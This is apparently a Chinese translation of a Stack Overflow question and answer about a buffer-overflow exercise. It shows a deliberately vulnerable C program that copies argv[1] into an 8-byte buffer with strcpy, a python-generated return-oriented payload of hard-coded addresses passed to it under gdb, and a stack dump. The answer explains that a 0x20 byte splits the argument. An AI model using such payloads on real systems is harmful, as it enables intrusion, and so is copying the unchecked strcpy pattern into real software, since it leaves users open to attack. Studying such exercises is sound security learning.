我在这里有一个基本的疑问。

请考虑下面的示例C程序在Ubuntu 32位Little Endian计算机上运行。

#include <string.h>
#include <unistd.h>
int main (int argc, char **argv)
{
    char buf [8];
    strcpy(buf, argv[1]);
    system("/usr/bin/false");
}


现在,我了解了上述代码的安全性。让我们搁置一会儿。

在上面的代码中,buf是局部变量。这意味着该缓冲区的空间将在堆栈上。现在,我们使用strcpy()将用户输入复制到缓冲区中。用户输入本身是在命令行上进行的。

现在说该程序与gdb一起运行:

gdb program

现在,如果从gdb提示符向程序提供了用户输入,则为:


  运行python -c "print 'A'*12 + '\x10\x83\x04\x08' + '\xda\x84\x04\x08' + '\x24\xa0\x04\x08' + '\x62\x81\x04\x08' + '\x10\x83\x04\x08' + '\xda\x84\x04\x08' + '\x25\xa0\x04\x08' + '\xd8\x80\x04\x08' + '\x10\x83\x04\x08' + '\xda\x84\x04\x08' + '\x26\xa0\x04\x08' + '\x13\x85\x04\x08' + '\x20\x83\x04\x08' + 'A'*4 + '\x24\xa0\x04\x08';"


堆栈的内容如下:

(gdb) x/20wx $esp
0xbffff5b0: 0x41414141  0x41414141  0x41414141  0x08048310
0xbffff5c0: 0x080484da  0x0804a024  0x08048162  0x08048310
0xbffff5d0: 0x080484da  0x0804a025  0x080480d8  0x08048310
0xbffff5e0: 0x080484da  0x0804a026  0x08048513  0x08048300
0xbffff5f0: 0x00000000  0x6fb0e3f2  0x53b687e2  0x00000000


地址0xbffff5e0在最右手边的单词是0x08048300。根据给定的输入,它应该是0x08048320

为什么不如预期的那样?让我震惊的是,期望的地址0x0804832020结尾,这是一个空格字符。是否有可能因为它是空格字符作为输入传递给程序,所以它被程序视为输入的结尾,因此它根本不会复制任何东西吗?

最佳答案

正确的是,strcpy()遇到空值时将停止复制,并且会将空值附加到复制的内容之后。您在这里看到的不是那样。 0x20(空格字符)不会影响strcpy(),但C运行时本身会将其用作有效字符。

如您所知,char **argv是一个指向字符数组列表的指针,每个字符数组代表命令行中的一个参数。即使您正在传递来自Python的数据并将其表示为十六进制数据(在转换后也是如此),您的数据中仍有一个空格:'\x20\x83\x04\x08'对于C运行时处理参数,这会将0x08048320分解为0x08048300因为它将空白视为定界符。

为了证明是这种情况,请使用python脚本并将字符串输出到stdout而不是管道。

关于python - 如果用户输入是通过strcpy()获取的,用户输入是否会复制到堆栈上超出空格或null字符的位置?,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/48058080/

10-11 19:45